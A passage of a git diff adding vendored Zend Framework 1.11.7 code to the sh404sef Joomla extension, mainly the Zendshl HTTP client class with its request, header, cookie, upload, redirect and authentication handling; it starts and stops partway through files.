b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Exception.php @@ -0,0 +1,97 @@ +_previous = $previous; + } else { + parent::__construct($msg, (int) $code, $previous); + } + } + + /** + * Overloading + * + * For PHP < 5.3.0, provides access to the getPrevious() method. + * + * @param string $method + * @param array $args + * @return mixed + */ + public function __call($method, array $args) + { + if ('getprevious' == strtolower($method)) { + return $this->_getPrevious(); + } + return null; + } + + /** + * String representation of the exception + * + * @return string + */ + public function __toString() + { + if (version_compare(PHP_VERSION, '5.3.0', '<')) { + if (null !== ($e = $this->getPrevious())) { + return $e->__toString() + . "\n\nNext " + . parent::__toString(); + } + } + return parent::__toString(); + } + + /** + * Returns previous Exception + * + * @return Exception|null + */ + protected function _getPrevious() + { + return $this->_previous; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client.php new file mode 100644 index 00000000..09db8899 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client.php @@ -0,0 +1,1464 @@ + 5, + 'strictredirects' => false, + 'useragent' => 'Zendshl_Http_Client', + 'timeout' => 10, + 'adapter' => 'Zendshl_Http_Client_Adapter_Socket', + 'httpversion' => self::HTTP_1, + 'keepalive' => false, + 'storeresponse' => true, + 'strict' => true, + 'output_stream' => false, + 'encodecookies' => true, + 'rfc3986_strict' => false + ); + + /** + * The adapter used to perform the actual connection to the server + * + * @var Zendshl_Http_Client_Adapter_Interface + */ + protected $adapter = null; + + /** + * Request URI + * + * @var Zendshl_Uri_Http + */ + protected $uri = null; + + /** + * Associative array of request headers + * + * @var array + */ + protected $headers = array(); + + /** + * HTTP request method + * + * @var string + */ + protected $method = self::GET; + + /** + * Associative array of GET parameters + * + * @var array + */ + protected $paramsGet = array(); + + /** + * Associative array of POST parameters + * + * @var array + */ + protected $paramsPost = array(); + + /** + * Request body content type (for POST requests) + * + * @var string + */ + protected $enctype = null; + + /** + * The raw post data to send. Could be set by setRawData($data, $enctype). + * + * @var string + */ + protected $raw_post_data = null; + + /** + * HTTP Authentication settings + * + * Expected to be an associative array with this structure: + * $this->auth = array('user' => 'username', 'password' => 'password', 'type' => 'basic') + * Where 'type' should be one of the supported authentication types (see the AUTH_* + * constants), for example 'basic' or 'digest'. + * + * If null, no authentication will be used. + * + * @var array|null + */ + protected $auth; + + /** + * File upload arrays (used in POST requests) + * + * An associative array, where each element is of the format: + * 'name' => array('filename.txt', 'text/plain', 'This is the actual file contents') + * + * @var array + */ + protected $files = array(); + + /** + * The client's cookie jar + * + * @var Zendshl_Http_CookieJar + */ + protected $cookiejar = null; + + /** + * The last HTTP request sent by the client, as string + * + * @var string + */ + protected $last_request = null; + + /** + * The last HTTP response received by the client + * + * @var Zendshl_Http_Response + */ + protected $last_response = null; + + /** + * Redirection counter + * + * @var int + */ + protected $redirectCounter = 0; + + /** + * Fileinfo magic database resource + * + * This variable is populated the first time _detectFileMimeType is called + * and is then reused on every call to this method + * + * @var resource + */ + static protected $_fileInfoDb = null; + + /** + * Constructor method. Will create a new HTTP client. Accepts the target + * URL and optionally configuration array. + * + * @param Zendshl_Uri_Http|string $uri + * @param array $config Configuration key-value pairs. + */ + public function __construct($uri = null, $config = null) + { + if ($uri !== null) { + $this->setUri($uri); + } + if ($config !== null) { + $this->setConfig($config); + } + } + + /** + * Set the URI for the next request + * + * @param Zendshl_Uri_Http|string $uri + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setUri($uri) + { + if (is_string($uri)) { + $uri = Zendshl_Uri::factory($uri); + } + + if (!$uri instanceof Zendshl_Uri_Http) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('Passed parameter is not a valid HTTP URI.'); + } + + // Set auth if username and password has been specified in the uri + if ($uri->getUsername() && $uri->getPassword()) { + $this->setAuth($uri->getUsername(), $uri->getPassword()); + } + + // We have no ports, set the defaults + if (! $uri->getPort()) { + $uri->setPort(($uri->getScheme() == 'https' ? 443 : 80)); + } + + $this->uri = $uri; + + return $this; + } + + /** + * Get the URI for the next request + * + * @param boolean $as_string If true, will return the URI as a string + * @return Zendshl_Uri_Http|string + */ + public function getUri($as_string = false) + { + if ($as_string && $this->uri instanceof Zendshl_Uri_Http) { + return $this->uri->__toString(); + } else { + return $this->uri; + } + } + + /** + * Set configuration parameters for this HTTP client + * + * @param Zendshl_Config | array $config + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setConfig($config = array()) + { + if ($config instanceof Zendshl_Config) { + $config = $config->toArray(); + + } elseif (! is_array($config)) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('Array or Zendshl_Config object expected, got ' . gettype($config)); + } + + foreach ($config as $k => $v) { + $this->config[strtolower($k)] = $v; + } + + // Pass configuration options to the adapter if it exists + if ($this->adapter instanceof Zendshl_Http_Client_Adapter_Interface) { + $this->adapter->setConfig($config); + } + + return $this; + } + + /** + * Set the next request's method + * + * Validated the passed method and sets it. If we have files set for + * POST requests, and the new method is not POST, the files are silently + * dropped. + * + * @param string $method + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setMethod($method = self::GET) + { + if (! preg_match('/^[^\x00-\x1f\x7f-\xff\(\)<>@,;:\\\\"\/\[\]\?={}\s]+$/', $method)) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("'{$method}' is not a valid HTTP request method."); + } + + if ($method == self::POST && $this->enctype === null) { + $this->setEncType(self::ENC_URLENCODED); + } + + $this->method = $method; + + return $this; + } + + /** + * Set one or more request headers + * + * This function can be used in several ways to set the client's request + * headers: + * 1. By providing two parameters: $name as the header to set (e.g. 'Host') + * and $value as it's value (e.g. 'www.example.com'). + * 2. By providing a single header string as the only parameter + * e.g. 'Host: www.example.com' + * 3. By providing an array of headers as the first parameter + * e.g. array('host' => 'www.example.com', 'x-foo: bar'). In This case + * the function will call itself recursively for each array item. + * + * @param string|array $name Header name, full header string ('Header: value') + * or an array of headers + * @param mixed $value Header value or null + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setHeaders($name, $value = null) + { + // If we got an array, go recursive! + if (is_array($name)) { + foreach ($name as $k => $v) { + if (is_string($k)) { + $this->setHeaders($k, $v); + } else { + $this->setHeaders($v, null); + } + } + } else { + // Check if $name needs to be split + if ($value === null && (strpos($name, ':') > 0)) { + list($name, $value) = explode(':', $name, 2); + } + + // Make sure the name is valid if we are in strict mode + if ($this->config['strict'] && (! preg_match('/^[a-zA-Z0-9-]+$/', $name))) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("{$name} is not a valid HTTP header name"); + } + + $normalized_name = strtolower($name); + + // If $value is null or false, unset the header + if ($value === null || $value === false) { + unset($this->headers[$normalized_name]); + + // Else, set the header + } else { + // Header names are stored lowercase internally. + if (is_string($value)) { + $value = trim($value); + } + $this->headers[$normalized_name] = array($name, $value); + } + } + + return $this; + } + + /** + * Get the value of a specific header + * + * Note that if the header has more than one value, an array + * will be returned. + * + * @param string $key + * @return string|array|null The header value or null if it is not set + */ + public function getHeader($key) + { + $key = strtolower($key); + if (isset($this->headers[$key])) { + return $this->headers[$key][1]; + } else { + return null; + } + } + + /** + * Set a GET parameter for the request. Wrapper around _setParameter + * + * @param string|array $name + * @param string $value + * @return Zendshl_Http_Client + */ + public function setParameterGet($name, $value = null) + { + if (is_array($name)) { + foreach ($name as $k => $v) + $this->_setParameter('GET', $k, $v); + } else { + $this->_setParameter('GET', $name, $value); + } + + return $this; + } + + /** + * Set a POST parameter for the request. Wrapper around _setParameter + * + * @param string|array $name + * @param string $value + * @return Zendshl_Http_Client + */ + public function setParameterPost($name, $value = null) + { + if (is_array($name)) { + foreach ($name as $k => $v) + $this->_setParameter('POST', $k, $v); + } else { + $this->_setParameter('POST', $name, $value); + } + + return $this; + } + + /** + * Set a GET or POST parameter - used by SetParameterGet and SetParameterPost + * + * @param string $type GET or POST + * @param string $name + * @param string $value + * @return null + */ + protected function _setParameter($type, $name, $value) + { + $parray = array(); + $type = strtolower($type); + switch ($type) { + case 'get': + $parray = &$this->paramsGet; + break; + case 'post': + $parray = &$this->paramsPost; + break; + } + + if ($value === null) { + if (isset($parray[$name])) unset($parray[$name]); + } else { + $parray[$name] = $value; + } + } + + /** + * Get the number of redirections done on the last request + * + * @return int + */ + public function getRedirectionsCount() + { + return $this->redirectCounter; + } + + /** + * Set HTTP authentication parameters + * + * $type should be one of the supported types - see the self::AUTH_* + * constants. + * + * To enable authentication: + * + * $this->setAuth('shahar', 'secret', Zendshl_Http_Client::AUTH_BASIC); + * + * + * To disable authentication: + * + * $this->setAuth(false); + * + * + * @see http://www.faqs.org/rfcs/rfc2617.html + * @param string|false $user User name or false disable authentication + * @param string $password Password + * @param string $type Authentication type + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setAuth($user, $password = '', $type = self::AUTH_BASIC) + { + // If we got false or null, disable authentication + if ($user === false || $user === null) { + $this->auth = null; + + // Clear the auth information in the uri instance as well + if ($this->uri instanceof Zendshl_Uri_Http) { + $this->getUri()->setUsername(''); + $this->getUri()->setPassword(''); + } + // Else, set up authentication + } else { + // Check we got a proper authentication type + if (! defined('self::AUTH_' . strtoupper($type))) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Invalid or not supported authentication type: '$type'"); + } + + $this->auth = array( + 'user' => (string) $user, + 'password' => (string) $password, + 'type' => $type + ); + } + + return $this; + } + + /** + * Set the HTTP client's cookie jar. + * + * A cookie jar is an object that holds and maintains cookies across HTTP requests + * and responses. + * + * @param Zendshl_Http_CookieJar|boolean $cookiejar Existing cookiejar object, true to create a new one, false to disable + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setCookieJar($cookiejar = true) + { + Zendshl_Loader::loadClass('Zendshl_Http_CookieJar'); + + if ($cookiejar instanceof Zendshl_Http_CookieJar) { + $this->cookiejar = $cookiejar; + } elseif ($cookiejar === true) { + $this->cookiejar = new Zendshl_Http_CookieJar(); + } elseif (! $cookiejar) { + $this->cookiejar = null; + } else { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('Invalid parameter type passed as CookieJar'); + } + + return $this; + } + + /** + * Return the current cookie jar or null if none. + * + * @return Zendshl_Http_CookieJar|null + */ + public function getCookieJar() + { + return $this->cookiejar; + } + + /** + * Add a cookie to the request. If the client has no Cookie Jar, the cookies + * will be added directly to the headers array as "Cookie" headers. + * + * @param Zendshl_Http_Cookie|string $cookie + * @param string|null $value If "cookie" is a string, this is the cookie value. + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setCookie($cookie, $value = null) + { + Zendshl_Loader::loadClass('Zendshl_Http_Cookie'); + + if (is_array($cookie)) { + foreach ($cookie as $c => $v) { + if (is_string($c)) { + $this->setCookie($c, $v); + } else { + $this->setCookie($v); + } + } + + return $this; + } + + if ($value !== null && $this->config['encodecookies']) { + $value = urlencode($value); + } + + if (isset($this->cookiejar)) { + if ($cookie instanceof Zendshl_Http_Cookie) { + $this->cookiejar->addCookie($cookie); + } elseif (is_string($cookie) && $value !== null) { + $cookie = Zendshl_Http_Cookie::fromString("{$cookie}={$value}", + $this->uri, + $this->config['encodecookies']); + $this->cookiejar->addCookie($cookie); + } + } else { + if ($cookie instanceof Zendshl_Http_Cookie) { + $name = $cookie->getName(); + $value = $cookie->getValue(); + $cookie = $name; + } + + if (preg_match("/[=,; \t\r\n\013\014]/", $cookie)) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Cookie name cannot contain these characters: =,; \t\r\n\013\014 ({$cookie})"); + } + + $value = addslashes($value); + + if (! isset($this->headers['cookie'])) { + $this->headers['cookie'] = array('Cookie', ''); + } + $this->headers['cookie'][1] .= $cookie . '=' . $value . '; '; + } + + return $this; + } + + /** + * Set a file to upload (using a POST request) + * + * Can be used in two ways: + * + * 1. $data is null (default): $filename is treated as the name if a local file which + * will be read and sent. Will try to guess the content type using mime_content_type(). + * 2. $data is set - $filename is sent as the file name, but $data is sent as the file + * contents and no file is read from the file system. In this case, you need to + * manually set the Content-Type ($ctype) or it will default to + * application/octet-stream. + * + * @param string $filename Name of file to upload, or name to save as + * @param string $formname Name of form element to send as + * @param string $data Data to send (if null, $filename is read and sent) + * @param string $ctype Content type to use (if $data is set and $ctype is + * null, will be application/octet-stream) + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setFileUpload($filename, $formname, $data = null, $ctype = null) + { + if ($data === null) { + if (($data = @file_get_contents($filename)) === false) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Unable to read file '{$filename}' for upload"); + } + + if (! $ctype) { + $ctype = $this->_detectFileMimeType($filename); + } + } + + // Force enctype to multipart/form-data + $this->setEncType(self::ENC_FORMDATA); + + $this->files[] = array( + 'formname' => $formname, + 'filename' => basename($filename), + 'ctype' => $ctype, + 'data' => $data + ); + + return $this; + } + + /** + * Set the encoding type for POST data + * + * @param string $enctype + * @return Zendshl_Http_Client + */ + public function setEncType($enctype = self::ENC_URLENCODED) + { + $this->enctype = $enctype; + + return $this; + } + + /** + * Set the raw (already encoded) POST data. + * + * This function is here for two reasons: + * 1. For advanced user who would like to set their own data, already encoded + * 2. For backwards compatibilty: If someone uses the old post($data) method. + * this method will be used to set the encoded data. + * + * $data can also be stream (such as file) from which the data will be read. + * + * @param string|resource $data + * @param string $enctype + * @return Zendshl_Http_Client + */ + public function setRawData($data, $enctype = null) + { + $this->raw_post_data = $data; + $this->setEncType($enctype); + if (is_resource($data)) { + // We've got stream data + $stat = @fstat($data); + if($stat) { + $this->setHeaders(self::CONTENT_LENGTH, $stat['size']); + } + } + return $this; + } + + /** + * Clear all GET and POST parameters + * + * Should be used to reset the request parameters if the client is + * used for several concurrent requests. + * + * clearAll parameter controls if we clean just parameters or also + * headers and last_* + * + * @param bool $clearAll Should all data be cleared? + * @return Zendshl_Http_Client + */ + public function resetParameters($clearAll = false) + { + // Reset parameter data + $this->paramsGet = array(); + $this->paramsPost = array(); + $this->files = array(); + $this->raw_post_data = null; + $this->enctype = null; + + if($clearAll) { + $this->headers = array(); + $this->last_request = null; + $this->last_response = null; + } else { + // Clear outdated headers + if (isset($this->headers[strtolower(self::CONTENT_TYPE)])) { + unset($this->headers[strtolower(self::CONTENT_TYPE)]); + } + if (isset($this->headers[strtolower(self::CONTENT_LENGTH)])) { + unset($this->headers[strtolower(self::CONTENT_LENGTH)]); + } + } + + return $this; + } + + /** + * Get the last HTTP request as string + * + * @return string + */ + public function getLastRequest() + { + return $this->last_request; + } + + /** + * Get the last HTTP response received by this client + * + * If $config['storeresponse'] is set to false, or no response was + * stored yet, will return null + * + * @return Zendshl_Http_Response or null if none + */ + public function getLastResponse() + { + return $this->last_response; + } + + /** + * Load the connection adapter + * + * While this method is not called more than one for a client, it is + * seperated from ->request() to preserve logic and readability + * + * @param Zendshl_Http_Client_Adapter_Interface|string $adapter + * @return null + * @throws Zendshl_Http_Client_Exception + */ + public function setAdapter($adapter) + { + if (is_string($adapter)) { + try { + Zendshl_Loader::loadClass($adapter); + } catch (Zendshl_Exception $e) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Unable to load adapter '$adapter': {$e->getMessage()}", 0, $e); + } + + $adapter = new $adapter; + } + + if (! $adapter instanceof Zendshl_Http_Client_Adapter_Interface) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('Passed adapter is not a HTTP connection adapter'); + } + + $this->adapter = $adapter; + $config = $this->config; + unset($config['adapter']); + $this->adapter->setConfig($config); + } + + /** + * Load the connection adapter + * + * @return Zendshl_Http_Client_Adapter_Interface $adapter + */ + public function getAdapter() + { + return $this->adapter; + } + + /** + * Set streaming for received data + * + * @param string|boolean $streamfile Stream file, true for temp file, false/null for no streaming + * @return Zendshl_Http_Client + */ + public function setStream($streamfile = true) + { + $this->setConfig(array("output_stream" => $streamfile)); + return $this; + } + + /** + * Get status of streaming for received data + * @return boolean|string + */ + public function getStream() + { + return $this->config["output_stream"]; + } + + /** + * Create temporary stream + * + * @return resource + */ + protected function _openTempStream() + { + $this->_stream_name = $this->config['output_stream']; + if(!is_string($this->_stream_name)) { + // If name is not given, create temp name + $this->_stream_name = tempnam(isset($this->config['stream_tmp_dir'])?$this->config['stream_tmp_dir']:sys_get_temp_dir(), + 'Zendshl_Http_Client'); + } + + if (false === ($fp = @fopen($this->_stream_name, "w+b"))) { + if ($this->adapter instanceof Zendshl_Http_Client_Adapter_Interface) { + $this->adapter->close(); + } + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Could not open temp file {$this->_stream_name}"); + } + + return $fp; + } + + /** + * Send the HTTP request and return an HTTP response object + * + * @param string $method + * @return Zendshl_Http_Response + * @throws Zendshl_Http_Client_Exception + */ + public function request($method = null) + { + if (! $this->uri instanceof Zendshl_Uri_Http) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('No valid URI has been passed to the client'); + } + + if ($method) { + $this->setMethod($method); + } + $this->redirectCounter = 0; + $response = null; + + // Make sure the adapter is loaded + if ($this->adapter == null) { + $this->setAdapter($this->config['adapter']); + } + + // Send the first request. If redirected, continue. + do { + // Clone the URI and add the additional GET parameters to it + $uri = clone $this->uri; + if (! empty($this->paramsGet)) { + $query = $uri->getQuery(); + if (! empty($query)) { + $query .= '&'; + } + $query .= http_build_query($this->paramsGet, null, '&'); + if ($this->config['rfc3986_strict']) { + $query = str_replace('+', '%20', $query); + } + + $validationEnabled = empty($this->config['disable_uri_validation']); + $uri->setQuery($query, $validationEnabled); // shumisha 2012-03-05 disabled validation, as some long query strings validation just kill the server + } + + $body = $this->_prepareBody(); + $headers = $this->_prepareHeaders(); + + // check that adapter supports streaming before using it + if(is_resource($body) && !($this->adapter instanceof Zendshl_Http_Client_Adapter_Stream)) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('Adapter does not support streaming'); + } + + // Open the connection, send the request and read the response + $this->adapter->connect($uri->getHost(), $uri->getPort(), + ($uri->getScheme() == 'https' ? true : false)); + + if($this->config['output_stream']) { + if($this->adapter instanceof Zendshl_Http_Client_Adapter_Stream) { + $stream = $this->_openTempStream(); + $this->adapter->setOutputStream($stream); + } else { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('Adapter does not support streaming'); + } + } + + $this->last_request = $this->adapter->write($this->method, + $uri, $this->config['httpversion'], $headers, $body); + + $response = $this->adapter->read(); + if (! $response) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('Unable to read response, or response is empty'); + } + + if($this->config['output_stream']) { + rewind($stream); + // cleanup the adapter + $this->adapter->setOutputStream(null); + $response = Zendshl_Http_Response_Stream::fromStream($response, $stream); + $response->setStreamName($this->_stream_name); + if(!is_string($this->config['output_stream'])) { + // we used temp name, will need to clean up + $response->setCleanup(true); + } + } else { + $response = Zendshl_Http_Response::fromString($response); + } + + if ($this->config['storeresponse']) { + $this->last_response = $response; + } + + // Load cookies into cookie jar + if (isset($this->cookiejar)) { + $this->cookiejar->addCookiesFromResponse($response, $uri, $this->config['encodecookies']); + } + + // If we got redirected, look for the Location header + if ($response->isRedirect() && ($location = $response->getHeader('location'))) { + + // Avoid problems with buggy servers that add whitespace at the + // end of some headers (See ZF-11283) + $location = trim($location); + + // Check whether we send the exact same request again, or drop the parameters + // and send a GET request + if ($response->getStatus() == 303 || + ((! $this->config['strictredirects']) && ($response->getStatus() == 302 || + $response->getStatus() == 301))) { + + $this->resetParameters(); + $this->setMethod(self::GET); + } + + // If we got a well formed absolute URI + if (($scheme = substr($location, 0, 6)) && ($scheme == 'http:/' || $scheme == 'https:')) { + $this->setHeaders('host', null); + $this->setUri($location); + + } else { + + // Split into path and query and set the query + if (strpos($location, '?') !== false) { + list($location, $query) = explode('?', $location, 2); + } else { + $query = ''; + } + $this->uri->setQuery($query); + + // Else, if we got just an absolute path, set it + if(strpos($location, '/') === 0) { + $this->uri->setPath($location); + + // Else, assume we have a relative path + } else { + // Get the current path directory, removing any trailing slashes + $path = $this->uri->getPath(); + $path = rtrim(substr($path, 0, strrpos($path, '/')), "/"); + $this->uri->setPath($path . '/' . $location); + } + } + ++$this->redirectCounter; + + } else { + // If we didn't get any location, stop redirecting + break; + } + + } while ($this->redirectCounter < $this->config['maxredirects']); + + return $response; + } + + /** + * Prepare the request headers + * + * @return array + */ + protected function _prepareHeaders() + { + $headers = array(); + + // Set the host header + if (! isset($this->headers['host'])) { + $host = $this->uri->getHost(); + + // If the port is not default, add it + if (! (($this->uri->getScheme() == 'http' && $this->uri->getPort() == 80) || + ($this->uri->getScheme() == 'https' && $this->uri->getPort() == 443))) { + $host .= ':' . $this->uri->getPort(); + } + + $headers[] = "Host: {$host}"; + } + + // Set the connection header + if (! isset($this->headers['connection'])) { + if (! $this->config['keepalive']) { + $headers[] = "Connection: close"; + } + } + + // Set the Accept-encoding header if not set - depending on whether + // zlib is available or not. + if (! isset($this->headers['accept-encoding'])) { + if (function_exists('gzinflate')) { + $headers[] = 'Accept-encoding: gzip, deflate'; + } else { + $headers[] = 'Accept-encoding: identity'; + } + } + + // Set the Content-Type header + if (($this->method == self::POST || $this->method == self::PUT) && + (! isset($this->headers[strtolower(self::CONTENT_TYPE)]) && isset($this->enctype))) { + + $headers[] = self::CONTENT_TYPE . ': ' . $this->enctype; + } + + // Set the user agent header + if (! isset($this->headers['user-agent']) && isset($this->config['useragent'])) { + $headers[] = "User-Agent: {$this->config['useragent']}"; + } + + // Set HTTP authentication if needed + if (is_array($this->auth)) { + $auth = self::encodeAuthHeader($this->auth['user'], $this->auth['password'], $this->auth['type']); + $headers[] = "Authorization: {$auth}"; + } + + // Load cookies from cookie jar + if (isset($this->cookiejar)) { + $cookstr = $this->cookiejar->getMatchingCookies($this->uri, + true, Zendshl_Http_CookieJar::COOKIE_STRING_CONCAT); + + if ($cookstr) { + $headers[] = "Cookie: {$cookstr}"; + } + } + + // Add all other user defined headers + foreach ($this->headers as $header) { + list($name, $value) = $header; + if (is_array($value)) { + $value = implode(', ', $value); + } + + $headers[] = "$name: $value"; + } + + return $headers; + } + + /** + * Prepare the request body (for POST and PUT requests) + * + * @return string + * @throws Zendshl_Http_Client_Exception + */ + protected function _prepareBody() + { + // According to RFC2616, a TRACE request should not have a body. + if ($this->method == self::TRACE) { + return ''; + } + + if (isset($this->raw_post_data) && is_resource($this->raw_post_data)) { + return $this->raw_post_data; + } + // If mbstring overloads substr and strlen functions, we have to + // override it's internal encoding + if (function_exists('mb_internal_encoding') && + ((int) ini_get('mbstring.func_overload')) & 2) { + + $mbIntEnc = mb_internal_encoding(); + mb_internal_encoding('ASCII'); + } + + // If we have raw_post_data set, just use it as the body. + if (isset($this->raw_post_data)) { + $this->setHeaders(self::CONTENT_LENGTH, strlen($this->raw_post_data)); + if (isset($mbIntEnc)) { + mb_internal_encoding($mbIntEnc); + } + + return $this->raw_post_data; + } + + $body = ''; + + // If we have files to upload, force enctype to multipart/form-data + if (count ($this->files) > 0) { + $this->setEncType(self::ENC_FORMDATA); + } + + // If we have POST parameters or files, encode and add them to the body + if (count($this->paramsPost) > 0 || count($this->files) > 0) { + switch($this->enctype) { + case self::ENC_FORMDATA: + // Encode body as multipart/form-data + $boundary = '---ZENDHTTPCLIENT-' . md5(microtime()); + $this->setHeaders(self::CONTENT_TYPE, self::ENC_FORMDATA . "; boundary={$boundary}"); + + // Get POST parameters and encode them + $params = self::_flattenParametersArray($this->paramsPost); + foreach ($params as $pp) { + $body .= self::encodeFormData($boundary, $pp[0], $pp[1]); + } + + // Encode files + foreach ($this->files as $file) { + $fhead = array(self::CONTENT_TYPE => $file['ctype']); + $body .= self::encodeFormData($boundary, $file['formname'], $file['data'], $file['filename'], $fhead); + } + + $body .= "--{$boundary}--\r\n"; + break; + + case self::ENC_URLENCODED: + // Encode body as application/x-www-form-urlencoded + $this->setHeaders(self::CONTENT_TYPE, self::ENC_URLENCODED); + $body = http_build_query($this->paramsPost, '', '&'); + break; + + default: + if (isset($mbIntEnc)) { + mb_internal_encoding($mbIntEnc); + } + + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Cannot handle content type '{$this->enctype}' automatically." . + " Please use Zendshl_Http_Client::setRawData to send this kind of content."); + break; + } + } + + // Set the Content-Length if we have a body or if request is POST/PUT + if ($body || $this->method == self::POST || $this->method == self::PUT) { + $this->setHeaders(self::CONTENT_LENGTH, strlen($body)); + } + + if (isset($mbIntEnc)) { + mb_internal_encoding($mbIntEnc); + } + + return $body; + } + + /** + * Helper method that gets a possibly multi-level parameters array (get or + * post) and flattens it. + * + * The method returns an array of (key, value) pairs (because keys are not + * necessarily unique. If one of the parameters in as array, it will also + * add a [] suffix to the key. + * + * This method is deprecated since Zend Framework 1.9 in favour of + * self::_flattenParametersArray() and will be dropped in 2.0 + * + * @deprecated since 1.9 + * + * @param array $parray The parameters array + * @param bool $urlencode Whether to urlencode the name and value + * @return array + */ + protected function _getParametersRecursive($parray, $urlencode = false) + { + // Issue a deprecated notice + trigger_error("The " . __METHOD__ . " method is deprecated and will be dropped in 2.0.", + E_USER_NOTICE); + + if (! is_array($parray)) { + return $parray; + } + $parameters = array(); + + foreach ($parray as $name => $value) { + if ($urlencode) { + $name = urlencode($name); + } + + // If $value is an array, iterate over it + if (is_array($value)) { + $name .= ($urlencode ? '%5B%5D' : '[]'); + foreach ($value as $subval) { + if ($urlencode) { + $subval = urlencode($subval); + } + $parameters[] = array($name, $subval); + } + } else { + if ($urlencode) { + $value = urlencode($value); + } + $parameters[] = array($name, $value); + } + } + + return $parameters; + } + + /** + * Attempt to detect the MIME type of a file using available extensions + * + * This method will try to detect the MIME type of a file. If the fileinfo + * extension is available, it will be used. If not, the mime_magic + * extension which is deprected but is still available in many PHP setups + * will be tried. + * + * If neither extension is available, the default application/octet-stream + * MIME type will be returned + * + * @param string $file File path + * @return string MIME type + */ + protected function _detectFileMimeType($file) + { + $type = null; + + // First try with fileinfo functions + if (function_exists('finfo_open')) { + if (self::$_fileInfoDb === null) { + self::$_fileInfoDb = @finfo_open(FILEINFO_MIME); + } + + if (self::$_fileInfoDb) { + $type = finfo_file(self::$_fileInfoDb, $file); + } + + } elseif (function_exists('mime_content_type')) { + $type = mime_content_type($file); + } + + // Fallback to the default application/octet-stream + if (! $type) { + $type = 'application/octet-stream'; + } + + return $type; + } + + /** + * Encode data to a multipart/form-data part suitable for a POST request. + * + * @param string $boundary + * @param string $name + * @param mixed $value + * @param string $filename + * @param array $headers Associative array of optional headers @example ("Content-Transfer-Encoding" => "binary") + * @return string + */ + public static function encodeFormData($boundary, $name, $value, $filename = null, $headers = array()) { + $ret = "--{$boundary}\r\n" . + 'Content-Disposition: form-data; name="' . $name .'"'; + + if ($filename) { + $ret .= '; filename="' . $filename . '"'; + } + $ret .= "\r\n"; + + foreach ($headers as $hname => $hvalue) { + $ret .= "{$hname}: {$hvalue}\r\n"; + } + $ret .= "\r\n"; + + $ret .= "{$value}\r\n"; + + return $ret; + } + + /** + * Create a HTTP authentication "Authorization:" header according to the + * specified user, password and authentication method. + * + * @see http://www.faqs.org/rfcs/rfc2617.html + * @param string $user + * @param string $password + * @param string $type + * @return string + * @throws Zendshl_Http_Client_Exception + */ + public static function encodeAuthHeader($user, $password, $type = self::AUTH_BASIC) + { + $authHeader = null; + + switch ($type) { + case self::AUTH_BASIC: + // In basic authentication, the user name cannot contain ":" + if (strpos($user, ':') !== false) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("The user name cannot contain ':' in 'Basic' HTTP authentication"); + } + + $authHeader = 'Basic ' . 